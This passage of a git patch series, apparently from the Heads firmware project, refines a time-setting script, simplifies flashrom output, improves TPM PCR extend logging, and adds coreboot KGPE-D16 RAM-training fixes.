-n 1 nothing - clear - change-time -else - hwclock -w - echo -e "The system date has been sucessfully set to $year-$month-$day $hour:$min:$sec" - echo -e "\n" - - echo -e "Press any key to return to the menu" - echo -e "\n" - read -n 1 nothing -fi +enter_time_and_change() +{ + get_date "year" "2024" "2200" + year=$value + get_date "month" "01" "12" + month=$value + get_date "day" "01" "31" + day=$value + get_date "hour" "00" "23" + hour=$value + get_date "minute" "00" "59" + min=$value + get_date "second" "00" "59" + sec=$value + + if ! date -s "$year-$month-$day $hour:$min:$sec" &>/dev/null; then + return 1 + fi + return 0 +} + +while ! enter_time_and_change; do + echo "Could not set the date to $year-$month-$day $hour:$min:$sec" + read -rp "Try again? [Y/n]: " try_again_confirm + if [ "${try_again_confirm^^}" = N ]; then + exit 1 + fi + echo +done + +hwclock -w +echo "The system date has been sucessfully set to $year-$month-$day $hour:$min:$sec" +echo + +echo "Press Enter to return to the menu" +echo +read -r nothing From 653542870dcbdf735f14824f546d00f371f48e15 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 6 Aug 2024 09:46:47 -0400 Subject: [PATCH 211/619] change-time: Improve prompt wording Adjust prompt wording when entering fields. Technically the desired value isn't always between min/max, because min and max are also acceptable :) No need to repeat an incorrect value, it is right there on the screen and it dilutes the important point describing what value is needed. Signed-off-by: Jonathon Hall --- initrd/bin/change-time | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/initrd/bin/change-time b/initrd/bin/change-time index b461049f1..7f1de885f 100755 --- a/initrd/bin/change-time +++ b/initrd/bin/change-time @@ -3,8 +3,8 @@ clear -echo -e -n "Please enter the date and time you wish to set\n" -echo -e -n "You need to set the time according to the UTC/GMT timezone please check https://time.is/UTC\n\n" +echo -e -n "Please enter the current date and time in UTC\n" +echo -e -n "To find the current date and time in UTC, please check https://time.is/UTC\n\n" get_date () { @@ -12,14 +12,15 @@ get_date () { field_name="$1" min="$2" max="$3" - echo "Please insert $field_name (between $min-$max)" + echo -n "Enter the current $field_name [$min-$max]: " read -r value echo #must be a number between $2 and $3 while [[ ! $value =~ ^[0-9]+$ ]] || [[ ${value#0} -lt $min ]] || [[ ${value#0} -gt $max ]]; - do - echo "$field_name is wrong: you entered \"$value\". Please try again, it must be a number between $min and $max" + do + echo "Please try again, it must be a number from $min to $max." + echo -n "Enter the current $field_name [$min-$max]: " read -r value echo done From 6eab9ddd90c390f5df22ca0f1c93f4024e10eff2 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 6 Aug 2024 09:49:49 -0400 Subject: [PATCH 212/619] change-time: Add .sh We're trying to move all shell scripts to including '.sh' to differentiate them from functions. While it's not 100% consistent yet, do it for new scripts. Signed-off-by: Jonathon Hall --- initrd/bin/{change-time => change-time.sh} | 0 initrd/bin/gui-init | 4 ++-- 2 files changed, 2 insertions(+), 2 deletions(-) rename initrd/bin/{change-time => change-time.sh} (100%) diff --git a/initrd/bin/change-time b/initrd/bin/change-time.sh similarity index 100% rename from initrd/bin/change-time rename to initrd/bin/change-time.sh diff --git a/initrd/bin/gui-init b/initrd/bin/gui-init index 2f76c0769..df56ed6a0 100755 --- a/initrd/bin/gui-init +++ b/initrd/bin/gui-init @@ -452,7 +452,7 @@ show_options_menu() show_tpm_totp_hotp_options_menu ;; h ) - change-time + change-time.sh ;; u ) prompt_update_checksums @@ -548,7 +548,7 @@ prompt_totp_mismatch() TRACE_FUNC if (whiptail_warning --title "TOTP/HOTP code mismatched" \ --yesno "TOTP/HOTP code mismatches could indicate either TPM tampering or clock drift.\n\nHere, we will manually set system time to see if TOTP code mismatch was because of time drift.\n\nAlternatively you could sync time from network automatically with 'network-init-recovery' helper from Recovery shell\n " 0 80) then - change-time + change-time.sh fi } From 05ce2cd0a61900ea6fae277656f2c674a5e3c6ba Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 6 Aug 2024 10:01:34 -0400 Subject: [PATCH 213/619] gui-init: Improve wording of TOTP/HOTP mismatch change-time question This was a yes/no prompt but didn't actually have a question in it, ask if the user wants to change the time. Include the current time so the user can tell if it's correct. Mention that if it's incorrect they should change the time and check again. The first line was too long for fbwhiptail by a few characters, trim it a little. Signed-off-by: Jonathon Hall --- initrd/bin/gui-init | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/bin/gui-init b/initrd/bin/gui-init index df56ed6a0..ae1c27c4b 100755 --- a/initrd/bin/gui-init +++ b/initrd/bin/gui-init @@ -547,7 +547,7 @@ prompt_totp_mismatch() { TRACE_FUNC if (whiptail_warning --title "TOTP/HOTP code mismatched" \ - --yesno "TOTP/HOTP code mismatches could indicate either TPM tampering or clock drift.\n\nHere, we will manually set system time to see if TOTP code mismatch was because of time drift.\n\nAlternatively you could sync time from network automatically with 'network-init-recovery' helper from Recovery shell\n " 0 80) then + --yesno "TOTP/HOTP code mismatches could indicate TPM tampering or clock drift.\n\nThe current UTC time is: $(date "+%Y-%m-%d %H:%M:%S %Z")\nIf this is incorrect, set the correct time and check TOTP/HOTP again.\n\nDo you want to change the time?" 0 80) then change-time.sh fi } From 3a0df1bd4b7b17b05a5b58a573787174c6038103 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 6 Aug 2024 12:43:20 -0400 Subject: [PATCH 214/619] change-time.sh: Fix input of 08 and 09 printf was interpreting these as invalid octal numbers, they're decimal. Signed-off-by: Jonathon Hall --- initrd/bin/change-time.sh | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/initrd/bin/change-time.sh b/initrd/bin/change-time.sh index 7f1de885f..0fb505ce1 100755 --- a/initrd/bin/change-time.sh +++ b/initrd/bin/change-time.sh @@ -25,8 +25,11 @@ get_date () { echo done - # Pad with zeroes to length of maximum value - value="$(printf "%0${#max}u" "$value")" + # Pad with zeroes to length of maximum value. + # The "$((10#$value))" is needed to handle 08 and 09 correctly, which printf + # would otherwise interpret as octal. This effectively strips the leading + # zero by evaluating an arithmetic expression with the base set to 10. + value="$(printf "%0${#max}u" "$((10#$value))")" } enter_time_and_change() From c51643b65abb6422f9ae7da808109319dae749f9 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 6 Aug 2024 12:44:04 -0400 Subject: [PATCH 215/619] gui-init: Remove unneeded UTC time zone indication from current time The time zone in Heads is always UTC and we mentioned that in the text. Don't repeat it. Signed-off-by: Jonathon Hall --- initrd/bin/gui-init | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/bin/gui-init b/initrd/bin/gui-init index ae1c27c4b..27f927cfd 100755 --- a/initrd/bin/gui-init +++ b/initrd/bin/gui-init @@ -547,7 +547,7 @@ prompt_totp_mismatch() { TRACE_FUNC if (whiptail_warning --title "TOTP/HOTP code mismatched" \ - --yesno "TOTP/HOTP code mismatches could indicate TPM tampering or clock drift.\n\nThe current UTC time is: $(date "+%Y-%m-%d %H:%M:%S %Z")\nIf this is incorrect, set the correct time and check TOTP/HOTP again.\n\nDo you want to change the time?" 0 80) then + --yesno "TOTP/HOTP code mismatches could indicate TPM tampering or clock drift.\n\nThe current UTC time is: $(date "+%Y-%m-%d %H:%M:%S")\nIf this is incorrect, set the correct time and check TOTP/HOTP again.\n\nDo you want to change the time?" 0 80) then change-time.sh fi } From 05b3d85c93e40da92cc2979ce2137c5b63fb4b30 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 6 Aug 2024 14:01:49 -0400 Subject: [PATCH 216/619] change-time.sh: Remind of the system time when beginning Show the system time when starting to change the time. Signed-off-by: Jonathon Hall --- initrd/bin/change-time.sh | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/initrd/bin/change-time.sh b/initrd/bin/change-time.sh index 0fb505ce1..b5d2a4ffe 100755 --- a/initrd/bin/change-time.sh +++ b/initrd/bin/change-time.sh @@ -3,9 +3,11 @@ clear -echo -e -n "Please enter the current date and time in UTC\n" -echo -e -n "To find the current date and time in UTC, please check https://time.is/UTC\n\n" - +echo "The system time is: $(date "+%Y-%m-%d %H:%M:%S %Z")" +echo +echo "Please enter the current date and time in UTC" +echo "To find the current date and time in UTC, please check https://time.is/UTC" +echo get_date () { local field_name min max @@ -63,7 +65,7 @@ while ! enter_time_and_change; do done hwclock -w -echo "The system date has been sucessfully set to $year-$month-$day $hour:$min:$sec" +echo "The system date has been sucessfully set to $year-$month-$day $hour:$min:$sec UTC" echo echo "Press Enter to return to the menu" From 39be8303d76afd00e52eb224c97d326f172d8feb Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Tue, 6 Aug 2024 23:36:26 +0200 Subject: [PATCH 217/619] move w541 back to tested Signed-off-by: gaspar-ilom --- .circleci/config.yml | 8 ++++---- .../w541-hotp-maximized.config} | 2 +- .../w541-maximized.config} | 0 3 files changed, 5 insertions(+), 5 deletions(-) rename boards/{UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config => w541-hotp-maximized/w541-hotp-maximized.config} (66%) rename boards/{UNTESTED_w541-maximized/UNTESTED_w541-maximized.config => w541-maximized/w541-maximized.config} (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index ef24aee37..e30f374a4 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -413,15 +413,15 @@ workflows: - x230-hotp-maximized - build: - name: UNTESTED_w541-maximized - target: UNTESTED_w541-maximized + name: w541-maximized + target: w541-maximized subcommand: "" requires: - x230-hotp-maximized - build: - name: UNTESTED_w541-hotp-maximized - target: UNTESTED_w541-hotp-maximized + name: w541-hotp-maximized + target: w541-hotp-maximized subcommand: "" requires: - x230-hotp-maximized diff --git a/boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config b/boards/w541-hotp-maximized/w541-hotp-maximized.config similarity index 66% rename from boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config rename to boards/w541-hotp-maximized/w541-hotp-maximized.config index 585ecd73b..204f12525 100644 --- a/boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config +++ b/boards/w541-hotp-maximized/w541-hotp-maximized.config @@ -1,5 +1,5 @@ # Inherit the rest from the base W541 config. -include $(pwd)/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config +include $(pwd)/boards/w541-maximized/w541-maximized.config CONFIG_HOTPKEY=y export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config b/boards/w541-maximized/w541-maximized.config similarity index 100% rename from boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config rename to boards/w541-maximized/w541-maximized.config From 1e03e8c64656513136b3031263795cf65ce27758 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 23 Aug 2024 08:21:05 -0400 Subject: [PATCH 218/619] flash.sh: drop inhouse progress output on console when flashing with flashrom Signed-off-by: Thierry Laurion --- initrd/bin/flash.sh | 104 +------------------------------------------- 1 file changed, 1 insertion(+), 103 deletions(-) diff --git a/initrd/bin/flash.sh b/initrd/bin/flash.sh index 6ef16a52e..d807ff265 100755 --- a/initrd/bin/flash.sh +++ b/initrd/bin/flash.sh @@ -21,106 +21,6 @@ case "$CONFIG_FLASHROM_OPTIONS" in ;; esac -flashrom_progress() { - # The ichspi programmer now spews register status lines constantly that are - # brutally slow to feed through the parser in flashrom_progress_tokenize. - # Filter the input with grep for only lines containing at least one token - # that we care about. - grep -E -e 'contents\.\.\.' -e 'done\.' -e '0x[0-9a-f]+-(0x[0-9a-f]+):' \ - -e 'identical' -e 'VERIFIED\.' -e 'FAILED' | \ - tr ' ' '\n' | flashrom_progress_tokenize "$1" -} - -print_flashing_progress() { - local spaces=' ' - local hashes='##################################################' - local percent pct1 pct2 progressbar progressbar2 - percent="$1" - pct1=$((percent / 2)) - pct2=$((50 - percent / 2)) - progressbar=${hashes:0:$pct1} - progressbar2=${spaces:0:$pct2} - echo -ne "Flashing: [${progressbar}${spin:$spin_idx:1}${progressbar2}] (${percent}%)\\r" -} - -flashrom_progress_tokenize() { - local current=0 - local total_bytes="$1" - local percent=0 - local IN='' - local spin='-\|/' - local spin_idx=0 - local status='init' - local prev_word='' - local prev_prev_word='' - - echo "Initializing Flash Programmer" - while true ; do - prev_prev_word=$prev_word - prev_word=$IN - IFS= read -r -t 0.2 IN - spin_idx=$(( (spin_idx+1) %4 )) - if [ "$status" == "init" ]; then - if [ "$IN" == "contents..." ]; then - status="reading" - echo "Reading old flash contents. Please wait..." - fi - fi - if [ "$status" == "reading" ]; then - if echo "${IN}" | grep "done." > /dev/null ; then - status="writing" - IN= - fi - fi - if [ "$status" == "writing" ]; then - # walk_eraseblocks() prints info for each block, of the form - # , 0xAAAAAA-0xBBBBBB:X - # The 'X' is a char indicating the action, but the debug from actually erasing - # and writing is mixed into the output so it may be separated. It can also be - # interrupted occasionally, so only match a complete token. - current=$(echo "$IN" | sed -nE 's/^0x[0-9a-f]+-(0x[0-9a-f]+):.*$/\1/p') - if [ "$current" != "" ]; then - percent=$((100 * (current + 1) / total_bytes)) - fi - print_flashing_progress "$percent" - if [ "$IN" == "done." ]; then - status="verifying" - IN= - print_flashing_progress 100 - echo "" - echo "Verifying flash contents. Please wait..." - fi - # This appears before "Erase/write done."; skip the verifying state - if [ "$IN" == "identical" ]; then - status="done" - IN= - print_flashing_progress 100 - echo "" - echo "The flash contents are identical to the image being flashed." - break - fi - fi - if [ "$status" == "verifying" ]; then - if echo "${IN}" | grep "VERIFIED." > /dev/null ; then - status="done" - echo "The flash contents were verified and the image was flashed correctly." - break - elif echo "${IN}" | grep "FAILED" > /dev/null ; then - echo 'Error while verifying flash content' - break - fi - fi - done - echo "" - if [ "$status" == "done" ]; then - return 0 - else - echo 'Error flashing coreboot -- see timestampped flashrom log in /tmp for more info' - echo "" - return 1 - fi -} - flash_rom() { ROM=$1 if [ "$READ" -eq 1 ]; then @@ -148,9 +48,7 @@ flash_rom() { dd if=/tmp/pchstrp9.bin bs=1 count=4 seek=292 of=/tmp/${CONFIG_BOARD}.rom conv=notrunc >/dev/null 2>&1 fi - flashrom $CONFIG_FLASHROM_OPTIONS -w /tmp/${CONFIG_BOARD}.rom \ - -V -o "/tmp/flashrom-$(date '+%Y%m%d-%H%M%S').log" 2>&1 | \ - flashrom_progress "$(stat -c %s "/tmp/${CONFIG_BOARD}.rom")" \ + flashrom $CONFIG_FLASHROM_OPTIONS -w /tmp/${CONFIG_BOARD}.rom 2>&1 \ || die "$ROM: Flash failed" fi } From 87213c503b443a11cb26ceb329dac7dff7134f7f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 23 Aug 2024 13:00:29 -0400 Subject: [PATCH 219/619] flash.sh: Add warning to remind user to not interfere with flashrom operations that will follow Signed-off-by: Thierry Laurion --- initrd/bin/flash.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/initrd/bin/flash.sh b/initrd/bin/flash.sh index d807ff265..00f2801f1 100755 --- a/initrd/bin/flash.sh +++ b/initrd/bin/flash.sh @@ -48,6 +48,7 @@ flash_rom() { dd if=/tmp/pchstrp9.bin bs=1 count=4 seek=292 of=/tmp/${CONFIG_BOARD}.rom conv=notrunc >/dev/null 2>&1 fi + warn "Do not power off computer. Updating firmware, this will take a few minutes..." flashrom $CONFIG_FLASHROM_OPTIONS -w /tmp/${CONFIG_BOARD}.rom 2>&1 \ || die "$ROM: Flash failed" fi From 52992664ea72ffb85714b395e7ac57dc7c1e5ab2 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 24 Aug 2024 12:49:10 -0400 Subject: [PATCH 220/619] Improve TPM Extend infor in normal and DEBUG mode cbfs-init: remove temp files, measure direct cbfs output, extend PCR with proper introspection tracing flash.sh: do not die but go to recovery if flashrom fails, cosmetic fix for warning given to user kexec-insert-key: extend PCR with proper introspection tracing kexec-select-boot: extend PCR with proper introspection tracing kexec-measure-luks: extend PCR with proper introspection tracing tpmr: Add missing TRACE_FUNC, fix comments, extend give hash that was extended to tpm call in DEBUG, fix TPM startsession unsuppressed output still present ash_functions: extend PCR with proper introspection tracing insmod: DEBUG info more pertinent, extend PCR with proper introspection tracing Signed-off-by: Thierry Laurion --- initrd/bin/cbfs-init | 11 ++++------- initrd/bin/flash.sh | 4 ++-- initrd/bin/kexec-insert-key | 2 +- initrd/bin/kexec-select-boot | 4 ++-- initrd/bin/qubes-measure-luks | 2 +- initrd/bin/tpmr | 24 +++++++++++++++++------- initrd/etc/ash_functions | 2 +- initrd/sbin/insmod | 11 ++++------- 8 files changed, 32 insertions(+), 28 deletions(-) diff --git a/initrd/bin/cbfs-init b/initrd/bin/cbfs-init index 09456198d..efec2ca53 100755 --- a/initrd/bin/cbfs-init +++ b/initrd/bin/cbfs-init @@ -15,17 +15,14 @@ cbfsfiles=`cbfs -t 50 -l 2>/dev/null | grep "^heads/initrd/"` for cbfsname in `echo $cbfsfiles`; do filename=${cbfsname:12} if [ ! -z "$filename" ]; then - echo "Loading $filename from CBFS" mkdir -p `dirname $filename` \ || die "$filename: mkdir failed" - cbfs -t 50 -r $cbfsname > "$filename" \ + echo "Extracting CBFS file $cbfsname into $filename" + cbfs -t 50 $CBFS_ARG -r $cbfsname > "$filename" \ || die "$filename: cbfs file read failed" if [ "$CONFIG_TPM" = "y" ]; then - TMPFILE=/tmp/cbfs.$$ - echo "$filename" > $TMPFILE - cat $filename >> $TMPFILE - DEBUG "Extending TPM PCR $CONFIG_PCR with $filename" - tpmr extend -ix "$CONFIG_PCR" -if $TMPFILE \ + echo "TPM: Extending PCR[$CONFIG_PCR with] with $filename" + tpmr extend -ix "$CONFIG_PCR" -if $filename \ || die "$filename: tpm extend failed" fi fi diff --git a/initrd/bin/flash.sh b/initrd/bin/flash.sh index 00f2801f1..845d46617 100755 --- a/initrd/bin/flash.sh +++ b/initrd/bin/flash.sh @@ -48,9 +48,9 @@ flash_rom() { dd if=/tmp/pchstrp9.bin bs=1 count=4 seek=292 of=/tmp/${CONFIG_BOARD}.rom conv=notrunc >/dev/null 2>&1 fi - warn "Do not power off computer. Updating firmware, this will take a few minutes..." + warn "Do not power off computer. Updating firmware, this will take a few minutes" flashrom $CONFIG_FLASHROM_OPTIONS -w /tmp/${CONFIG_BOARD}.rom 2>&1 \ - || die "$ROM: Flash failed" + || recovery "$ROM: Flash failed" fi } diff --git a/initrd/bin/kexec-insert-key b/initrd/bin/kexec-insert-key index 8f7cd502b..84bff4558 100755 --- a/initrd/bin/kexec-insert-key +++ b/initrd/bin/kexec-insert-key @@ -65,7 +65,7 @@ if ! kexec-unseal-key "$INITRD_DIR/secret.key"; then fi # Override PCR 4 so that user can't read the key -DEBUG "Extending TPM PCR 4 to prevent further secret unsealing" +echo "TPM: Extending PCR[4] to prevent any future secret unsealing" tpmr extend -ix 4 -ic generic || die 'Unable to scramble PCR' diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index a58972662..f56c6e768 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -384,9 +384,9 @@ while true; do if [ "$CONFIG_TPM" = "y" ]; then if [ ! -r "$TMP_KEY_DEVICES" ]; then # Extend PCR4 as soon as possible - DEBUG "Extending TPM PCR 4 to prevent further secret unsealing" + DEBUG "TPM: Extending PCR[4] to prevent further secret unsealing" tpmr extend -ix 4 -ic generic || - die "Failed to extend PCR 4" + die "Failed to extend TPM PCR[4]" fi fi diff --git a/initrd/bin/qubes-measure-luks b/initrd/bin/qubes-measure-luks index 4f0ca281e..03db5915d 100755 --- a/initrd/bin/qubes-measure-luks +++ b/initrd/bin/qubes-measure-luks @@ -19,6 +19,6 @@ sha256sum /tmp/lukshdr-* >/tmp/luksDump.txt || die "Unable to hash LUKS headers" DEBUG "Removing /tmp/lukshdr-*" rm /tmp/lukshdr-* -DEBUG "Extending TPM PCR 6 with hash of LUKS headers from /tmp/luksDump.txt" +echo "TPM: Extending PCR[6] with hash of LUKS headers from /tmp/luksDump.txt" tpmr extend -ix 6 -if /tmp/luksDump.txt || die "Unable to extend PCR" diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index a740d4a03..b96eaf4f8 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -29,11 +29,11 @@ else . /etc/config fi -TRACE_FUNC # Busybox xxd lacks -r, and we get hex dumps from TPM1 commands. This converts # a hex dump to binary data using sed and printf hex2bin() { + TRACE_FUNC sed 's/\([0-9A-F]\{2\}\)/\\\\\\x\1/gI' | xargs printf } @@ -43,6 +43,7 @@ hex2bin() { # as a file still chokes if the password begins with 'hex:', oddly tpm2-tools # accepts 'hex:' in the file content.) tpm2_password_hex() { + TRACE_FUNC echo "hex:$(echo -n "$1" | xxd -p | tr -d ' \n')" } @@ -61,7 +62,7 @@ tpm2_pcrread() { if [ -z "$APPEND" ]; then # Don't append - truncate file now so real command always - # appends + # overwrites true >"$file" fi @@ -79,7 +80,7 @@ tpm1_pcrread() { if [ -z "$APPEND" ]; then # Don't append - truncate file now so real command always - # appends + # overwrites true >"$file" fi @@ -102,9 +103,10 @@ is_hash() { # usage: # extend_pcr_state # alg - either 'sha1' or 'sha256' to specify algorithm -# initial_state - a hash value setting the initial state +# state - a hash value setting the initial state # files/hashes... - any number of files or hashes, state is extended once for each item extend_pcr_state() { + TRACE_FUNC local alg="$1" local state="$2" local next extend @@ -250,7 +252,8 @@ tpm2_extend() { esac done tpm2 pcrextend "$index:sha256=$hash" - DO_WITH_DEBUG tpm2 pcrread "sha256:$index" + tpm2 pcrread "sha256:$index" + DEBUG "TPM: Extended PCR[$index] with $hash" } tpm2_counter_read() { @@ -348,9 +351,9 @@ tpm2_startsession() { die "tpm2_flushcontext: unable to flush saved session" tpm2 readpublic -Q -c "$PRIMARY_HANDLE" -t "$PRIMARY_HANDLE_FILE" #TODO: do the right thing to not have to suppress "WARN: check public portion the tpmkey manually" see https://github.com/linuxboot/heads/pull/1630#issuecomment-2075120429 - tpm2 startauthsession -Q -c "$PRIMARY_HANDLE_FILE" --hmac-session -S "$ENC_SESSION_FILE" 2>&1 > /dev/null + tpm2 startauthsession -Q -c "$PRIMARY_HANDLE_FILE" --hmac-session -S "$ENC_SESSION_FILE" > /dev/null 2>&1 #TODO: do the right thing to not have to suppress "WARN: check public portion the tpmkey manually" see https://github.com/linuxboot/heads/pull/1630#issuecomment-2075120429 - tpm2 startauthsession -Q -c "$PRIMARY_HANDLE_FILE" --hmac-session -S "$DEC_SESSION_FILE" 2>&1 > /dev/null + tpm2 startauthsession -Q -c "$PRIMARY_HANDLE_FILE" --hmac-session -S "$DEC_SESSION_FILE" > /dev/null 2>&1 tpm2 sessionconfig -Q --disable-encrypt "$DEC_SESSION_FILE" } @@ -381,6 +384,7 @@ cleanup_shred() { # tpm2_destroy: Destroy a sealed file in the TPM. The mechanism differs by # TPM version - TPM2 evicts the file object, so it no longer exists. tpm2_destroy() { + TRACE_FUNC index="$1" # Index of the sealed file size="$2" # Size of zeroes to overwrite for TPM1 (unused in TPM2) @@ -396,6 +400,7 @@ tpm2_destroy() { # TPM version - TPM1 overwrites the file with zeroes, since this can be done # without authorization. (Deletion requires authorization.) tpm1_destroy() { + TRACE_FUNC index="$1" # Index of the sealed file size="$2" # Size of zeroes to overwrite for TPM1 @@ -761,6 +766,10 @@ if [ "$CONFIG_TPM2_TOOLS" != "y" ]; then shift tpm1_destroy "$@" ;; + extend) + DEBUG "TPM: Extending PCR[$3] with $5" + DO_WITH_DEBUG exec tpm "$@" + ;; seal) shift tpm1_seal "$@" @@ -799,6 +808,7 @@ calcfuturepcr) replay_pcr "sha256" "$@" ;; extend) + DEBUG "TPM: Extending PCR[$2] with $4" tpm2_extend "$@" ;; counter_read) diff --git a/initrd/etc/ash_functions b/initrd/etc/ash_functions index 54b721085..bf6c6307a 100644 --- a/initrd/etc/ash_functions +++ b/initrd/etc/ash_functions @@ -241,7 +241,7 @@ recovery() { DEBUG "Board $CONFIG_BOARD - version $(fw_version)" if [ "$CONFIG_TPM" = "y" ]; then - DEBUG "Extending TPM PCR 4 for recovery shell access" + echo "TPM: Extending PCR[4] to prevent any further secret unsealing" tpmr extend -ix 4 -ic recovery fi diff --git a/initrd/sbin/insmod b/initrd/sbin/insmod index 97614fc65..e383eaf44 100755 --- a/initrd/sbin/insmod +++ b/initrd/sbin/insmod @@ -28,7 +28,7 @@ fi # Unify lsmod output to use - instead of _ for comparison module_name=$(basename "$MODULE" | sed 's/_/-/g' | sed 's/\.ko$//') if lsmod | sed 's/_/-/g' | grep -q "^$module_name\\b"; then - DEBUG "$MODULE: already loaded" + DEBUG "$MODULE: already loaded, skipping" exit 0 fi @@ -39,17 +39,14 @@ if [ ! -r /sys/class/tpm/tpm0/pcrs -o ! -x /bin/tpm ]; then fi if [ -z "$tpm_missing" ]; then - DEBUG "Extending TPM PCR $MODULE_PCR with $MODULE prior of usage" + echo "TPM: Extending PCR[$MODULE_PCR] with $MODULE prior of loading into kernel" tpmr extend -ix "$MODULE_PCR" -if "$MODULE" \ || die "$MODULE: tpm extend failed" fi if [ ! -z "$*" -a -z "$tpm_missing" ]; then - DEBUG "Extending TPM PCR $MODULE_PCR with $*" - TMPFILE=/tmp/insmod.$$ - echo "$@" > $TMPFILE - DEBUG "Extending TPM PCR $MODULE_PCR with $MODULE prior of usage" - tpmr extend -ix "$MODULE_PCR" -if $TMPFILE \ + echo "TPM: Extending PCR[$MODULE_PCR] with $MODULE prior of loading into kernel" + tpmr extend -ix "$MODULE_PCR" -if "$MODULE" \ || die "$MODULE: tpm extend on arguments failed" fi From ef6cbe551b68b632dc44500bc963285a22ca4570 Mon Sep 17 00:00:00 2001 From: Mike Rothfuss <6182328+mrothfuss@users.noreply.github.com> Date: Fri, 23 Aug 2024 20:10:30 -0600 Subject: [PATCH 221/619] coreboot-4.11: add fixes to KGPE-D16 raminit The added patches fix bugs in fam15h ram DQS timing and configure the motherboard to restart gracefully if raminit fails instead of booting into an unstable state and/or crashing. Signed-off-by: Thierry Laurion --- ...md-Fixed-errors-in-fam15h-DQS-timing.patch | 62 +++++++++++++++++ ...Added-resets-for-ram-training-failur.patch | 68 +++++++++++++++++++ 2 files changed, 130 insertions(+) create mode 100644 patches/coreboot-4.11/0075-northbridge-amd-Fixed-errors-in-fam15h-DQS-timing.patch create mode 100644 patches/coreboot-4.11/0076-northbridge-amd-Added-resets-for-ram-training-failur.patch diff --git a/patches/coreboot-4.11/0075-northbridge-amd-Fixed-errors-in-fam15h-DQS-timing.patch b/patches/coreboot-4.11/0075-northbridge-amd-Fixed-errors-in-fam15h-DQS-timing.patch new file mode 100644 index 000000000..6cc730098 --- /dev/null +++ b/patches/coreboot-4.11/0075-northbridge-amd-Fixed-errors-in-fam15h-DQS-timing.patch @@ -0,0 +1,62 @@ +From f6c818898b3f978bd22ed2829a881322e0eadaf9 Mon Sep 17 00:00:00 2001 +From: Mike Rothfuss <6182328+mrothfuss@users.noreply.github.com> +Date: Fri, 23 Aug 2024 19:54:54 -0600 +Subject: [PATCH 1/2] northbridge/amd: Fixed errors in fam15h DQS timing + +Fixed two errors in determining whether valid values were +found for read DQS delays in raminit. +--- + src/northbridge/amd/amdmct/mct_ddr3/mctdqs_d.c | 17 ++++++----------- + 1 file changed, 6 insertions(+), 11 deletions(-) + +diff --git a/src/northbridge/amd/amdmct/mct_ddr3/mctdqs_d.c b/src/northbridge/amd/amdmct/mct_ddr3/mctdqs_d.c +index d34b2dc2ba..6cf67afa4f 100644 +--- a/src/northbridge/amd/amdmct/mct_ddr3/mctdqs_d.c ++++ b/src/northbridge/amd/amdmct/mct_ddr3/mctdqs_d.c +@@ -21,6 +21,7 @@ + #include + #include + #include ++#include + #include "mct_d.h" + #include "mct_d_gcc.h" + +@@ -1287,6 +1288,7 @@ static uint8_t TrainDQSRdWrPos_D_Fam15(struct MCTStatStruc *pMCTstat, + uint8_t cur_count = 0; + uint8_t best_pos = 0; + uint8_t best_count = 0; ++ uint16_t region_center; + + uint32_t index_reg = 0x98; + uint32_t dev = pDCTstat->dev_dct; +@@ -1455,23 +1457,16 @@ static uint8_t TrainDQSRdWrPos_D_Fam15(struct MCTStatStruc *pMCTstat, + last_pos = 0; + } + +- if (best_count > 2) { +- uint16_t region_center = (best_pos + (best_count / 2)); +- +- if (region_center < 16) { +- printk(BIOS_WARNING, "TrainDQSRdWrPos: negative DQS recovery delay detected!" +- " Attempting to continue but your system may be unstable...\n"); +- region_center = 0; +- } else { +- region_center -= 16; +- } ++ region_center = (best_pos + (best_count / 2)); ++ if ((best_count > 2) && (region_center >= 16)) { ++ region_center -= 16; + + /* Restore current settings of other (previously trained) lanes to the active array */ + memcpy(current_read_dqs_delay, initial_read_dqs_delay, sizeof(current_read_dqs_delay)); + + /* Program the Read DQS Timing Control register with the center of the passing window */ + current_read_dqs_delay[lane] = region_center; +- passing_dqs_delay_found[lane] = 1; ++ passing_read_dqs_delay_found = 1; + + /* Commit the current Read DQS Timing Control settings to the hardware registers */ + write_dqs_read_data_timing_registers(current_read_dqs_delay, dev, dct, dimm, index_reg); +-- +2.39.2 + diff --git a/patches/coreboot-4.11/0076-northbridge-amd-Added-resets-for-ram-training-failur.patch b/patches/coreboot-4.11/0076-northbridge-amd-Added-resets-for-ram-training-failur.patch new file mode 100644 index 000000000..487342219 --- /dev/null +++ b/patches/coreboot-4.11/0076-northbridge-amd-Added-resets-for-ram-training-failur.patch @@ -0,0 +1,68 @@ +From ce1c7a35fa11b46d0478e97c4a4001179ab9d1bf Mon Sep 17 00:00:00 2001 +From: Mike Rothfuss <6182328+mrothfuss@users.noreply.github.com> +Date: Fri, 23 Aug 2024 19:59:09 -0600 +Subject: [PATCH 2/2] 